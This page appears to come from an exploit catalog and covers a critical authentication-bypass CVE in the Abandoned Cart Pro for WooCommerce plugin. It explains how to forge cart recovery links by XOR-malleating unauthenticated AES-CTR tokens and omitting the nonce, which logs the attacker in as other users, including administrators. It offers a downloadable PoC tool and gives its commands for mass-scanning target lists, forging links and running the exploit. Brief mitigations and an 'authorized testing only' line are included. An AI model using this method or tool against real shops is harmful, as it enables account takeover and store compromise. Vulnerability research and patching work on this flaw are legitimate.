CVE-2026-97657 — Abandoned Cart Pro for WooCommerce Auth Bypass & Account Takeover

Overview

CVE-2026-97657 — Abandoned Cart Pro for WooCommerce (Tyche Softwares) — unauthenticated authentication bypass and account takeover via forged cart recovery links (CWE-639). CNA: Wordfence.

| | | |---|---| | Affected | ≤ 10.8.0 (upgrade above 10.8.0 when vendor fix is available) | | CVSS 3.1 | 9.8 Critical | | Verify marker | POCBIT-97657-OK (PoC session/admin verification) |

Recovery URLs use MAC-free AES-CTR tokens (Wcal_Aes_Ctr-compatible: 8-byte nonce + ciphertext, base64). The plugin loads encrypt_key from attacker-controlled user_email. HMAC / wcap_nonce runs only when wcap_nonce is non-empty—omitting it skips integrity checks. After decrypt, abandoned_id is used without proving it belongs to that email; wp_set_auth_cookie() runs when auto-login is enabled (default).

An attacker with one legitimate recovery URL can XOR-malleate CTR ciphertext to change the embedded cart ID to a victim’s abandoned cart row (equal string length), open the forged URL without wcap_nonce, and log in as the victim (including administrators who abandoned a cart).

PoC page: https://pocbit.org/pocs/cve-2026-97657

GitHub: murrez/CVE-2026-97657

CVE.org: CVE-2026-97657

Typical URL shape (Pro)

GET /?wacp_action=checkout_link&[email protected]&validate=<token>

Use checkout_link tokens (plaintext {cart_id}&url=...); track_links encodes email_sent_id, not cart ID.

Bundled tool (Python 3)

Download cve-2026-97657.py — writes poc.py, requirements.txt, targets.example.txt.

python cve-2026-97657.py
pip install -r requirements.txt

python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt

python poc.py --mode forge \
  --recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
  --source-cart-id "0383" --target-cart-id "0001"

python poc.py --mode exploit \
  --recovery-link "..." --source-cart-id "0383" --target-cart-id "0001"

Prerequisites (authorized testing): one legitimate recovery link from your test cart email; victim registered user with abandoned cart row; equal-length source/target cart IDs (zero-pad).

Check probes /wp-content/plugins/woocommerce-abandon-cart-pro/readme.txt (and alternate slug).

Mitigation

1. Upgrade Abandoned Cart Pro beyond 10.8.0 when available.
2. Disable auto-login on recovery links until patched.
3. WAF rate-limit wacp_action=checkout_link + validate (defense in depth).

Legal and ethical use

Authorized testing only. Unauthorized access is illegal.

References

• NVD — CVE-2026-97657
• PoCbit catalog
• GitHub PoC — CVE-2026-97657